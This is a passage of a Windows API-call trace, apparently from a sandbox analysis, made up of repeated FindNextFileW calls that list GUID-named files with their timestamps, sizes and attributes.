lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ae0de76, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9ae0de76, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c651c8, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{9B5B2AF9-07C1-4A92-9B55-C36169549C19}", cAlternateFileName="{9B5B2~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bcce7a6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bcce7a6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c651c8, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{9BF63628-DDA6-43D6-ADB6-C919606A53F7}", cAlternateFileName="{9BF63~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aea67dd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9aea67dd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c63e56, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A1640A19-DCA8-4534-B567-A06D68EED0AD}", cAlternateFileName="{A1640~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af3f156, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9af3f156, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c651c8, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A2138824-5150-42FB-95C2-6147FA08716C}", cAlternateFileName="{A2138~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38198bf3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38198bf3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44c62adc, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A28B03F6-F89D-49BF-9411-8F0574DE8769}", cAlternateFileName="{A28B0~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0bc8ee, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b0bc8ee, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c62adc, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A2A05FC2-1616-40B7-B7C0-B4C45BF0FF9E}", cAlternateFileName="{A2A05~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afd7ae5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9afd7ae5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c62adc, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A2F2E6DE-DA49-42DF-BDCF-C458109D79CC}", cAlternateFileName="{A2F2E~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b108d9a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b108d9a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c6174b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A3EC8C71-CFEE-485C-97C8-8CB142566DCC}", cAlternateFileName="{A3EC8~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0a4a79, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a0a4a79, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c6174b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A41AF181-37C6-4951-830B-E343DFC21B27}", cAlternateFileName="{A41AF~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc2a5ed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9cc2a5ed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c603cb, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A5B5274B-2050-4F1C-8323-BFC5145BAB10}", cAlternateFileName="{A5B52~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b12eff3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b12eff3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44c66567, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A60A84F5-D627-49A9-A1E6-F2C827E0FA7C}", cAlternateFileName="{A60A8~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x381e50b0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381e50b0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44fdc101, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A75F28ED-CBC6-4878-A664-EDD6CA16BC9D}", cAlternateFileName="{A75F2~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7712f1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b7712f1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{A8C02D67-E326-46F5-BCFE-ED755438157B}", cAlternateFileName="{A8C02~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b5a769e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b5a769e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44fdc101, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{AC0F2DEC-6E17-4771-9780-2942696DCB74}", cAlternateFileName="{AC0F2~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b1edbb5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b1edbb5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{AC7B9DE5-2BB7-4D1F-8D6B-195490D0C9EA}", cAlternateFileName="{AC7B9~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b68c4c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b68c4c9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{AEA45D7D-8825-46DB-820C-29097A667BA7}", cAlternateFileName="{AEA45~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc9cd0a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9cc9cd0a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x44fdc101, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{B52F04DA-8153-47B9-A93E-AEAA5CA596FE}", cAlternateFileName="{B52F0~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c16d0b7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c16d0b7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{B6A7DF63-99C2-4534-89CF-C0AFC23B90AD}", cAlternateFileName="{B6A7D~1")) returned 1 [0245.562] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c205a4c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c205a4c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{BCEB7AFA-8A96-4EE0-A2DF-1A462F84C0B8}", cAlternateFileName="{BCEB7~1")) returned 1 [0245.563] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cd356a6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9cd356a6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{C4D5AE10-76AF-425B-81AA-7AEED53BF3F7}", cAlternateFileName="{C4D5A~1")) returned 1 [0245.563] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c205a4c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c205a4c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{C4F78A21-2302-4CAA-90BC-87DB6FAE5D46}", cAlternateFileName="{C4F78~1")) returned 1 [0245.563] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c2c45dd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c2c45dd, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{C6A43E66-7B5A-4590-A7F3-A33D6F9781A8}", cAlternateFileName="{C6A43~1")) returned 1 [0245.563] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bc822f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bc822f4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{C6D1DB9A-A97A-4235-A8B7-EDC02B3FA8CE}", cAlternateFileName="{C6D1D~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c67e0c0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c67e0c0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{C9F8EE44-9323-44C4-9CC8-08B4A25945B1}", cAlternateFileName="{C9F8E~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cd356a6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9cd356a6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{CB298749-48A1-4798-9A9A-8B43AB5322B0}", cAlternateFileName="{CB298~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b5f3b66, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9b5f3b66, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{CBF5E617-6EF4-410E-8402-BDB7BBF74C0C}", cAlternateFileName="{CBF5E~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bcf4a12, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9bcf4a12, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{CC7998BC-2891-44C5-8EC4-A45AC15BC944}", cAlternateFileName="{CC799~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a0f0f3a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a0f0f3a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{CCFCB7FC-2028-4A4A-ABF5-E54B32C6B79B}", cAlternateFileName="{CCFCB~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0d4747, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c0d4747, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{CD020AAD-9574-4AF9-8BE0-5DEEEA418F08}", cAlternateFileName="{CD020~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a294928, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9a294928, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{CEB91A43-1CEE-4EEE-98B6-9A4C011B37FA}", cAlternateFileName="{CEB91~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c67e0c0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c67e0c0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{CF026799-E48E-4C9C-A4C5-90F40E61A8B9}", cAlternateFileName="{CF026~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c6ca578, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c6ca578, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{D1B85B9A-7DA9-4BFB-81AE-9FA53F5CF8F6}", cAlternateFileName="{D1B85~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0fa9a0, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c0fa9a0, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{D2653F73-A5FA-4D15-B21C-E630C96E25AA}", cAlternateFileName="{D2653~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x163fa478, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x163fa478, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{D750F1B1-B0B7-4DA6-A9C0-1ABD8854F051}", cAlternateFileName="{D750F~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c146ede, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c146ede, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{D7B78AAA-A1E8-4680-A688-037B9A274D5A}", cAlternateFileName="{D7B78~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c73cc7d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c73cc7d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{DC3F0DD8-0793-4FBB-8E32-717EB37783E0}", cAlternateFileName="{DC3F0~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38231567, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{E0AD878D-B374-40FC-B27F-1EA6CD8C752F}", cAlternateFileName="{E0AD8~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c762ee8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c762ee8, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{E35E895E-B105-44CC-9B2B-8D9A698783C6}", cAlternateFileName="{E35E8~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38231567, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4523e3ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{E76B536A-24BE-46E2-8644-8BD44952F288}", cAlternateFileName="{E76B5~1")) returned 1 [0245.564] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c821aae, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c821aae, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{F034B648-27F3-4DB0-A1E2-76AEDA4DB720}", cAlternateFileName="{F034B~1")) returned 1 [0245.565] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c847cee, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c847cee, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{F6932121-D2DA-4225-88E3-261818BB07E2}", cAlternateFileName="{F6932~1")) returned 1 [0245.565] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c9068dc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9c9068dc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x4558b17d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1096, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="{F7D10E06-7C0F-411C-8ED2-8C19184C6238}", cAlternateFileName="{F7D10~1")) returned 1 [0245.565] FindNextFileW (in: hFindFile=0x2f31fe0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, 